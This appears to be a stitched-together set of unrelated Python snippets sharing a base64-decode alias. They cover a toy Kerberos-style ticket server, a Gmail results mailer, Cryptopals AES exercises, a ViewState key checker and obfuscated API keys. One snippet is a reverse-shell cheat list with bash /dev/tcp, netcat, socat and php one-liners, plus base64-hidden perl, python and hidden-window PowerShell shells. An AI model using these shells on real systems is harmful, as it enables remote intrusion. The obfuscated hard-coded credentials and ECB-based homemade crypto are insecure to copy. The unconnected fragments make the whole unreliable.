def main(): s = socket.socket() print "Socket successfully created" port = 6583 s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) s.bind(('', port)) print "socket binded to %s" % (port) s.listen(5) print "socket is listening" while True: c, addr = s.accept() print 'Got connection from', addr data = str(c.recv(100)) # print(data) data_split = data.split(' ') # print(data_split) user = data_split[0] T = data_split[1] Nonce = data_split[2] rndfile = Random.new() # print(user,T,Nonce) hash = SHA256.new() hash.update(password) key = hash.digest()[:16] iv = hash.digest()[16:] user_key_file = 'AS/key_user_' + str(getUserNo(user)) + '.txt' f = open(user_key_file, 'r') user_key_encrypted = bd(f.readline()) user_key = aes_cbc_dec(key, iv, user_key_encrypted) f.close() f = open('AS/key_tgs.txt', 'r') key_tgs_encrypted = bd(f.readline()) key_tgs = aes_cbc_dec(key, iv, key_tgs_encrypted) f.close() print('key_tgs: ' + be(key_tgs)) print('user_key: ' + be(user_key)) key_c_tgs = be(rndfile.read(16)) print('key_c_tgs: ' + key_c_tgs) ekc_msg = key_c_tgs + ' ' + T + ' ' + Nonce ekc = be(aes_ecb_enc(user_key, add_padding(ekc_msg))) ticket_msg = key_c_tgs + ' ' + user + ' ' + addr[0] + ' ' + T print('ticket_msg: ' + ticket_msg) ticket_tgs = be(aes_ecb_enc(key_tgs, add_padding(ticket_msg))) msg = user + ' ' + ticket_tgs + ' ' + ekc c.send(msg) c.close()
def send(): import smtplib from email.mime.image import MIMEImage from email.mime.multipart import MIMEMultipart config = flags.FLAGS if config.bd == "bd": return user = "******" subject = "Train/Dev results on MS-MARCO" body = "Please find the scores attached" recipient = [user] gmail_user = user gmail_pwd = bd(bd(config.bd)) FROM = user TO = recipient if type(recipient) is list else [recipient] SUBJECT = subject TEXT = body message = """From: %s\nTo: %s\nSubject: %s\n\n%s """ % (FROM, ", ".join(TO), SUBJECT, TEXT) COMMASPACE = ', ' msg = MIMEMultipart() msg['Subject'] = subject msg['From'] = user msg['To'] = COMMASPACE.join(recipient) msg.preamble = 'asasas' files = ['dev.png', 'train.png'] pngfiles = [] for i in files: pngfiles.append(os.path.join(log_dir, i)) for file in pngfiles: with open(file, 'rb') as fp: img = MIMEImage(fp.read()) msg.attach(img) try: server = smtplib.SMTP("smtp.gmail.com:587") server.ehlo() server.starttls() server.login(gmail_user, gmail_pwd) server.send_mesage(msg) server.close() print('successfully sent the mail') except: print("failed to send mail")
def fetch_creds(): script_dir = os.path.dirname(__file__) conf_file_path = os.path.join(script_dir, "conf.ini") conf = cp() conf.read(conf_file_path) uname = conf.get('email', 'uname') pwd = conf.get('email', 'pwd') pwd = bd(pwd).decode("utf-8") return uname, pwd
def getAttachments(service, user_id, msg_id, id_, filename): message = service.users().messages().attachments().get(userId=user_id, messageId=msg_id, id=id_).execute() if 'data' in message: file_data = bd(message['data'].encode('UTF-8')) path = ''.join(['static/output/', filename]) f = open(path, 'w') f.write(file_data) f.close()
def getDetailInbox(service, msgId, userId='me'): res = service.users().messages().get(userId=userId, id=msgId).execute() msg = {} res = res['payload'] for m in res['headers']: msg[m['name']] = m['value'] # process timestamp et = mktime_tz(parsedate_tz(msg[u'Date'])) et = datetime.datetime.fromtimestamp(et) msg[u'Date'] = et.strftime('%a, %d %b %Y %I:%M %p') # process body msg['Attachments'] = [] if 'parts' in res: for m in res['parts']: if m['filename']: getAttachments(service, 'me', msgId, m['body']['attachmentId'], m['filename']) msg['Attachments'].append(m['filename']) else: if m['mimeType'] == 'text/plain' or m[ 'mimeType'] == 'text/html': msg[u'body'] = (bd(str(m['body']['data']))).decode('utf-8') if m['mimeType'] == 'multipart/alternative': for n in m['parts']: if n['mimeType'] == 'text/plain' or n[ 'mimeType'] == 'text/html': msg[u'body'] = (bd(str( n['body']['data']))).decode('utf-8') else: msg[u'body'] = (bd(str(res['body']['data']))).decode('utf-8') # process from msg[u'From'] = msg[u'From'].split(' ') if len(msg[u'From']) > 1: msg[u'FromName'] = ' '.join(msg[u'From'][:-1]) msg[u'FromEmail'] = msg[u'From'][-1] else: msg[u'FromName'] = msg[u'From'][0] msg[u'FromEmail'] = msg[u'From'][0] return msg
def fun3(): table = p64(0x32716E66492D7C2A) + p64(0x24645A410A202130) + p64(0x7B2F445C6F583C72) + p64(0x377A5434617E434B) + \ p64(0x7D0B60783A5E5929) + p64(0x76696D4F79317353) + p64(0x4E5F5B405D250D23) + p64(0x677551562C6A4828) btable = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/' e = p64(0x23415F4125516034) + p64(0x7D482F41255A3A54) + p64(0xB515B41536D257B) d = '' for i in e: for j, entry in enumerate(table): if i == entry: d += btable[j] return bd(d)
def _k(a): k = a.encode('hex') d = { '746d6462': [ u'GE4DIMLFMVRGCOLCMEZDMMZTG5TGEZBUGJSDANRQME3DONBRMZRQ====', u'MY3WMNJRG43TKOBXG5STAYTCGY3TAMZVGIYDSNJSMIZWGNZYGQYA====', u'MEZWIYZRGEYWKNRWGEYDKZRWGM4DOZJZHEZTSMZYGEZWCZJUMQ2Q====', u'MY3GEZBWHA3WMZTBGYZWGZBSHAZGENTGMYZGGNRYG43WMMRWGY4Q====' ], '796f7574756265': [ u'IFEXUYKTPFBU65JVJNUGCUZZK5RVIZSOOZXFES32PJFE2ZRWPIWTMTSHMIZDQTI=' ] } return bd(rc((d[k])))
def _k(a): k = be(a) d = { b'746D6462': ('GE4DIMLFMVRGCOLCMEZDMMZTG5TGEZBUGJSDANRQME3DONBRMZRQ====', 'MY3GEZBWHA3WMZTBGYZWGZBSHAZGENTGMYZGGNRYG43WMMRWGY4Q===='), b'796F7574756265': ('IFEXUYKTPFBU65JVJNUGCUZZK5RVIZSOOZXFES32PJFE2ZRWPIWTMTSHMIZDQTI=', ), b'7472616B74': ('GZQWMNZQGU3WMYLBMNSTANRQGJQWENDEMI4TKZDGHBSDINDDMVSTIMBVMZSWCM3GGE4GCZRWMU3DQOJWGAYDGYRVME4DGOBTMQZDQYQ=', ) } return bd(rc(d[k])).decode('ascii') # looooooooooooooooool
def parse_burp(fname, keys): import xmltodict from base64 import b64decode as bd for req in xmltodict.parse(open(fname).read())['items']['item']: url = req['url'] resp = bd(req['response']['#text']).decode() if '__VIEWSTATEGENERATOR' in resp and '"__VIEWSTATE"' in resp: payload = unquote( resp.split('"__VIEWSTATE" value="')[1].split('"')[0]) modifier = unquote( resp.split('"__VIEWSTATEGENERATOR" value="')[1].split('"')[0]) res = check_payload(payload, modifier, keys) if res: print(f"Known key found at {url} ") print(f"{res[0]}:{res[1]} / {res[2]}:{res[3]}")
def getApiKey(self): key = self.conf('api_key') return bd(random.choice(self.ak)) if key == '' else key
from base64 import b64decode as bd r = bd("/9j/4AAQSkZJRgABAQEAYABgAAD/2wBDAAQDAwMDAgQDAwMEBAQFBgoGBgUFBgwICQ==)")
import os import binascii from Crypto.Cipher import AES from Challenge09 import pkcs7 as pad from Challenge11 import detect_mode from base64 import b64decode as bd import random salt = os.urandom(random.randint(10,100)) secret = bd("""Um9sbGluJyBpbiBteSA1LjAKV2l0aCBteSByYWctdG9wIGRvd24gc28gbXkg aGFpciBjYW4gYmxvdwpUaGUgZ2lybGllcyBvbiBzdGFuZGJ5IHdhdmluZyBq dXN0IHRvIHNheSBoaQpEaWQgeW91IHN0b3A/IE5vLCBJIGp1c3QgZHJvdmUg YnkK""") key = os.urandom(16) cipher = AES.new(key, AES.MODE_ECB) def ECB_oracle(inp): inp = salt + inp + secret if len(inp)%16 != 0: inp = pad(inp, (len(inp)//16+1)*16) return (binascii.hexlify(cipher.encrypt(inp)).decode(), 'ECB') def first_change(oracle, payload): base = oracle(b'')[0] base_blocks = [base[i*32: (i+1)*32] for i in range(len(base)//32)] resp = oracle(payload)[0] blocks = [resp[i*32: (i+1)*32] for i in range(len(resp)//32)] for i in range(len(base_blocks)): if base_blocks[i] != blocks[i]: return i
def main(): while True: comm = raw_input("ker5>") if(comm == 'exit'): os.system("ps > temp.txt") process = getPythonProcesses() # print(process) process.remove(currProcID) # print(process) for id in process: os.system("kill " + str(id)) os.system("rm temp.txt") os.system("rm dump.txt") exit() else: comm_split = comm.split() # print(comm_split) rndfile = Random.new() if(len(comm_split) < 4): print('Error in command!\nChoose again....') continue user = comm_split[1] fileserver = comm_split[2] filename = comm_split[3] if(comm_split[0] == 'get' or comm_split[0] == 'put'): flag = 0 flag_ = 0 # print('get/put') if(int(getFileServerNo(fileserver)) not in fs_list): print('File server not specified in command line! Try again..') continue fname = 'key_user_' + str(getUserNo(user)) + '_fs_' + str(getFileServerNo(fileserver)) + '.txt' fpath = user + '/' + fname if(os.path.exists(fpath)): flag = 1 t1=(time.time()) t2=(os.path.getmtime(fpath)) # print('file exists') # print(t1-t2) if(t1-t2 > 180): # print('Kc,v Expired') flag = 0 fname_ = 'key_user_' + str(getUserNo(user)) + '_tgs.txt' fpath_ = user + '/' + fname_ if(os.path.exists(fpath_)): flag_ = 1 t1_ = (time.time()) t2_ = (os.path.getmtime(fpath_)) if(t1_ - t2_ > 180): # print('Kc,tgs Expired') flag_ = 0 if(flag == 0 and flag_ == 0): # Establish Kc,tgs s = socket.socket() port = getASPort() s.connect(('127.0.0.1', port)) T = str(time.time()) Nonce = be(rndfile.read(16)) s.send(user + ' ' + T + ' ' + Nonce) # print s.recv(1024) f = open(user + '/key.txt') kc = bd(f.readline()) f.close() as_msg = s.recv(1024) as_msg_split = as_msg.split(' ') userid = as_msg_split[0] ticket_tgs = as_msg_split[1] ekc_enc = bd(as_msg_split[2]) ekc_msg = remove_padding(aes_ecb_dec(kc,ekc_enc)) ekc_msg_split = ekc_msg.split(' ') # print(ekc_msg_split[0]) if(userid == user and T == ekc_msg_split[1] and Nonce == ekc_msg_split[2]): f = open(user + '/key_user_' + str(getUserNo(user)) + '_tgs.txt','w') f.write(ekc_msg_split[0] + ' ' + ticket_tgs) f.close() else: print('Error in AS') s.close() continue s.close() if(flag == 0): # Establish Kc,v f = open(user + '/key_user_' + str(getUserNo(user)) + '_tgs.txt','r') tmp = f.readline().split(' ') key_c_tgs = bd(tmp[0]) ticket_tgs = tmp[1] f.close() s = socket.socket() port = getTGSPort() s.connect(('127.0.0.1', port)) Nonce_ = be(rndfile.read(16)) TS1 = str(time.time()) auth_msg = user + ' ' + TS1 auth_c = aes_ecb_enc(key_c_tgs,add_padding(auth_msg)) tgs_msg = fileserver + ' ' + TS1 + ' ' + Nonce_ + ' ' + ticket_tgs + ' ' + be(auth_c) s.send(tgs_msg) tgs_recv_msg = s.recv(2000) # print(tgs_recv_msg) if(tgs_recv_msg == 'ERROR'): print('TGS Authentication failed.. Try again') s.close() continue tgs_recv_msg_split = tgs_recv_msg.split(' ') userid = tgs_recv_msg_split[0] ticket_v = tgs_recv_msg_split[1] e_k_c_tgs_enc = bd(tgs_recv_msg_split[2]) e_k_c_tgs_msg = remove_padding(aes_ecb_dec(key_c_tgs,e_k_c_tgs_enc)) e_k_c_tgs_split = e_k_c_tgs_msg.split(' ') key_c_v = e_k_c_tgs_split[0] TS1_ = e_k_c_tgs_split[1] Nonce_tgs = e_k_c_tgs_split[2] fileserver_ = e_k_c_tgs_split[3] if(userid == user and TS1 == TS1_ and Nonce_ == Nonce_tgs and fileserver == fileserver_): f = open(user + '/key_user_' + str(getUserNo(user)) + '_fs_' + str(getFileServerNo(fileserver)) + '.txt','w') f.write(key_c_v) f.close() else: print('Error in TGS') s.close() continue s.close() # Now need to exchange Kc,v with server s = socket.socket() port = getFSPort(fileserver) s.connect(('127.0.0.1', port)) TS2 = str(time.time()) auth_msg = user + ' ' + fileserver + ' ' + TS2 auth_v = aes_ecb_enc(bd(key_c_v),add_padding(auth_msg)) tgs_msg = 'AUTH ' + ticket_v + ' ' + be(auth_v) s.send(tgs_msg) server_recv_msg = s.recv(1024) if(server_recv_msg == 'ERROR'): print('FS Authentication Failed.. Try again') s.close() continue TS2_ = remove_padding(aes_ecb_dec(bd(key_c_v),bd(server_recv_msg))) # print(TS2, TS2_) if(TS2 != str(TS2_)): print('Error in FS') s.close() continue s.close() # Now we can exchange the file f = open(user + '/key_user_' + str(getUserNo(user)) + '_fs_' + str(getFileServerNo(fileserver)) +'.txt','r') key_c_v = bd(f.readline()) f.close() if(comm_split[0] == 'put'): filepath = user + '/' + filename if(os.path.exists(filepath)): f = open(filepath,'r') filetext = '' for ln in f.readlines(): filetext += ln f.close() filetext_encoded = be(aes_ecb_enc(key_c_v,add_padding(filetext))) s = socket.socket() port = getFSPort(fileserver) s.connect(('127.0.0.1', port)) s.send('PUT ' + user + ' ' + filename + ' ' + filetext_encoded) s.close() else: print('Specified file does not exist.. Try again') continue else: s = socket.socket() port = getFSPort(fileserver) s.connect(('127.0.0.1', port)) s.send('GET ' + user + ' ' + filename) filetext_encoded = str(s.recv(3000)) if(filetext_encoded == 'NONE'): print('Specified file does not exist.. Try again') s.close() continue filepath = user + '/' + filename filetext = remove_padding(aes_ecb_dec(key_c_v,bd(filetext_encoded))) f = open(filepath, 'w') f.write(filetext) f.close() f = open(filepath + '.enc', 'w') f.write(filetext_encoded) f.close() s.close() else: print('Error in command!\nChoose again....') continue
def menu(): pass ###################### Data for Shells ####################################### rand_file = "." + ''.join( [random.choice(string.ascii_lowercase) for i in range(0, 4)]) rev_shell_cheat = [ ("bash", "bash -i >& /dev/tcp/{0}/{1} 0>&1"), ("bash_udp", "sh -i >& /dev/udp/{0}/{1} 0>&1"), ("socat", "socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:{0}:{1}"), ("perl", bd("cGVybCAtZSAndXNlIFNvY2tldDskaT0iezB9IjskcD17MX07c29ja2V0KFMsUEZfSU5FVCxTT0NLX1NUUkVBTSxnZXRwcm90b2J5bmFtZSgidGNwIikpO2lmKGNvbm5lY3QoUyxzb2NrYWRkcl9pbigkcCxpbmV0X2F0b24oJGkpKSkpe3tvcGVuKFNURElOLCI+JlMiKTtvcGVuKFNURE9VVCwiPiZTIik7b3BlbihTVERFUlIsIj4mUyIpO2V4ZWMoIi9iaW4vc2ggLWkiKTt9fTsnDQo=" ).decode()), ("python", bd("cHl0aG9uIC1jICdpbXBvcnQgc29ja2V0LHN1YnByb2Nlc3Msb3M7cz1zb2NrZXQuc29ja2V0KHNvY2tldC5BRl9JTkVULHNvY2tldC5TT0NLX1NUUkVBTSk7cy5jb25uZWN0KCgiezB9Iix7MX0pKTtvcy5kdXAyKHMuZmlsZW5vKCksMCk7IG9zLmR1cDIocy5maWxlbm8oKSwxKTtvcy5kdXAyKHMuZmlsZW5vKCksMik7aW1wb3J0IHB0eTsgcHR5LnNwYXduKCIvYmluL2Jhc2giKScNCg==" ).decode()), ("php", "php -r '$sock=fsockopen(\"{0}\",{1});$proc=proc_open(\"/bin/sh -i\", array(0=>$sock, 1=>$sock, 2=>$sock),$pipes);'" ), ("nc_old", "nc -e /bin/sh {0} {1}"), ("nc_new", "rm /tmp/" + rand_file + ";mkfifo /tmp/" + rand_file + ";cat /tmp/" + rand_file + "|/bin/sh -i 2>&1|nc 10.0.0.1 4242 >/tmp/" + rand_file), ("powershell", bd("cG93ZXJzaGVsbCAtTm9QIC1Ob25JIC1XIEhpZGRlbiAtRXhlYyBCeXBhc3MgLUNvbW1hbmQgTmV3LU9iamVjdCBTeXN0ZW0uTmV0LlNvY2tldHMuVENQQ2xpZW50KCJ7MH0iLHsxfSk7JHN0cmVhbSA9ICRjbGllbnQuR2V0U3RyZWFtKCk7W2J5dGVbXV0kYnl0ZXMgPSAwLi42NTUzNXwle3swfX07d2hpbGUoKCRpID0gJHN0cmVhbS5SZWFkKCRieXRlcywgMCwgJGJ5dGVzLkxlbmd0aCkpIC1uZSAwKXt7OyRkYXRhID0gKE5ldy1PYmplY3QgLVR5cGVOYW1lIFN5c3RlbS5UZXh0LkFTQ0lJRW5jb2RpbmcpLkdldFN0cmluZygkYnl0ZXMsMCwgJGkpOyRzZW5kYmFjayA9IChpZXggJGRhdGEgMj4mMSB8IE91dC1TdHJpbmcgKTskc2VuZGJhY2syICA9ICRzZW5kYmFjayArICJQUyAiICsgKHB3ZCkuUGF0aCArICI+ICI7JHNlbmRieXRlID0gKFt0ZXh0LmVuY29kaW5nXTo6QVNDSUkpLkdldEJ5dGVzKCRzZW5kYmFjazIpOyRzdHJlYW0uV3JpdGUoJHNlbmRieXRlLDAsJHNlbmRieXRlLkxlbmd0aCk7JHN0cmVhbS5GbHVzaCgpfX07JGNsaWVudC5DbG9zZSgpDQo=" ).decode()) ] rev_shell_cheat.sort()
def main(): s = socket.socket() print "Socket successfully created" port = 8471 s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) s.bind(('', port)) print "socket binded to %s" % (port) s.listen(5) print "socket is listening" while True: c, addr = s.accept() print 'Got connection from', addr data = c.recv(2000) # print(data) data_split = data.split(' ') # print(data_split) fileserver = data_split[0] TS1 = data_split[1] Nonce_ = data_split[2] ticket_tgs = data_split[3] auth_c = data_split[4] rndfile = Random.new() hash = SHA256.new() hash.update(password) key = hash.digest()[:16] iv = hash.digest()[16:] server_key_file = 'TGS/key_fs_' + str( getFileServerNo(fileserver)) + '.txt' f = open(server_key_file, 'r') server_key_encrypted = bd(f.readline()) server_key = aes_cbc_dec(key, iv, server_key_encrypted) f.close() f = open('TGS/key_tgs.txt', 'r') key_tgs_encrypted = bd(f.readline()) key_tgs = aes_cbc_dec(key, iv, key_tgs_encrypted) f.close() print('key_tgs: ' + be(key_tgs)) print('server_key: ' + be(server_key)) key_c_v = be(rndfile.read(16)) print('key_c_v: ' + key_c_v) ticket_tgs_msg = remove_padding(aes_ecb_dec(key_tgs, bd(ticket_tgs))) print(ticket_tgs_msg) ticket_tgs_msg_split = ticket_tgs_msg.split(' ') key_c_tgs = bd(ticket_tgs_msg_split[0]) userid = ticket_tgs_msg_split[1] useraddr = ticket_tgs_msg_split[2] T = (ticket_tgs_msg_split[3]) auth_c_msg = remove_padding(aes_ecb_dec(key_c_tgs, bd(auth_c))) print(auth_c_msg) auth_c_msg_split = auth_c_msg.split(' ') userid_ = auth_c_msg_split[0] TS1_ = auth_c_msg_split[1] if (TS1_ != TS1 or userid != userid_ or useraddr != str(addr[0]) or float(T) > float(TS1)): c.send('ERROR') else: f = open('TGS/key_user_' + getUserNo(userid) + '_tgs.txt', 'w') f.write(be(key_c_tgs)) f.close() ticket_v_msg = key_c_v + ' ' + userid + ' ' + TS1 ticket_v = aes_ecb_enc(server_key, add_padding(ticket_v_msg)) k_c_tgs_msg = key_c_v + ' ' + TS1 + ' ' + Nonce_ + ' ' + fileserver e_k_c_tgs = aes_ecb_enc(key_c_tgs, add_padding(k_c_tgs_msg)) print('k_c_tgs_msg: ' + k_c_tgs_msg) msg = userid + ' ' + be(ticket_v) + ' ' + be(e_k_c_tgs) print(remove_padding(aes_ecb_dec(key_c_tgs, e_k_c_tgs))) c.send(msg) c.close()
from Crypto.Cipher import AES from base64 import b64decode as bd if __name__ == '__main__': key = b"YELLOW SUBMARINE" cipher = AES.new(key, AES.MODE_ECB) result = cipher.decrypt(bd(open('Challenge7input.txt', 'r').read())) print(result)
def getApiKey(self): key = self.conf("api_key") return bd(random.choice(self.ak)) if key == "" else key
from Crypto.Cipher import AES from Challenge09 import pkcs7 from base64 import b64decode as bd from pwn import xor key = 'YELLOW SUBMARINE' IV = '\x00'*16 def decryptCBC(ciphertext, key, iv): n = len(ciphertext) assert(n%16 == 0) cipher = AES.new(key, AES.MODE_ECB) blocks = [iv] + [ciphertext[i*16:i*16+16] for i in range(n//16)] plaintext = [] for i in range(n//16): plaintext = [xor(cipher.decrypt(blocks[n//16-i-1]), blocks[n//16-i-2])] + plaintext return plaintext result = decryptCBC(bd(open('Challenge10input.txt', 'rb').read()), key, IV) print (''.join([i.decode() for i in result[1:]]))
def main(): s = socket.socket() print "Socket successfully created" port = 8680 + id # print(port) s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) s.bind(('', port)) print "socket binded to %s" % (port) s.listen(5) print "socket is listening" while True: c, addr = s.accept() print 'Got connection from', addr data = c.recv(3000) # print(data) data_split = data.split(' ') # print(data_split) option = data_split[0] fileserver = 'FS' + str(id) if (option == 'AUTH'): ticket_v = data_split[1] auth_v = data_split[2] server_key_file = fileserver + '/key.txt' f = open(server_key_file, 'r') server_key = bd(f.readline()) f.close() print('server_key: ' + be(server_key)) ticket_v_msg = remove_padding(aes_ecb_dec(server_key, bd(ticket_v))) ticket_v_msg_split = ticket_v_msg.split() key_c_v = bd(ticket_v_msg_split[0]) userid = ticket_v_msg_split[1] TS1 = ticket_v_msg_split[2] auth_v_msg = remove_padding(aes_ecb_dec(key_c_v, bd(auth_v))) auth_v_msg_split = auth_v_msg.split() userid_ = auth_v_msg_split[0] fileserver_ = auth_v_msg_split[1] TS2 = auth_v_msg_split[2] if (userid != userid_ or fileserver_ != fileserver or float(TS1) > float(TS2)): c.send('ERROR') else: f = open( fileserver + '/key_user_' + str(getUserNo(userid)) + '_fs_' + str(getFileServerNo(fileserver)) + '.txt', 'w') f.write(ticket_v_msg_split[0]) f.close() msg = be(aes_ecb_enc(key_c_v, add_padding(TS2))) c.send(msg) else: userid = data_split[1] filename = data_split[2] f = open( fileserver + '/key_user_' + str(getUserNo(userid)) + '_fs_' + str(getFileServerNo(fileserver)) + '.txt', 'r') key_c_v = bd(f.readline()) f.close() if (option == 'PUT'): filetext_encoded = data_split[3] filetext = remove_padding( aes_ecb_dec(key_c_v, bd(filetext_encoded))) # print(filetext) filename_enc = filename + '.enc' f = open(fileserver + '/' + userid + '/' + filename_enc, 'w') f.write(filetext_encoded) f.close() f = open(fileserver + '/' + userid + '/' + filename, 'w') f.write(filetext) f.close() elif (option == 'GET'): filepath = fileserver + '/' + userid + '/' + filename if (os.path.exists(filepath)): f = open(filepath, 'r') filetext = '' for ln in f.readlines(): filetext += ln filetext_encoded = be( aes_ecb_enc(key_c_v, add_padding(filetext))) c.send(filetext_encoded) else: c.send('NONE') c.close()
if ((i + 2 * l) <= len(txt)): total_HD += hamming_dist(txt[i:i + l], txt[i + l:i + 2 * l]) count += 1 #count=len(txt)/l # No of pairs avNormalized_HD = 1.0 * total_HD / (l * count) return avNormalized_HD ##main starts here if __name__ == '__main__': f = open('6.txt', 'r') txt = '' for c in f.read(): txt += c txt = bd(txt) print txt minN_HD = 100000 keylength = 0 for i in range(2, 40): print i, " : ", normalized_HD(txt, i) if (normalized_HD(txt, i) < minN_HD): minN_HD = normalized_HD(txt, i) keylength = i #keylength will be the one with min av hamming distance print "keylength : ", keylength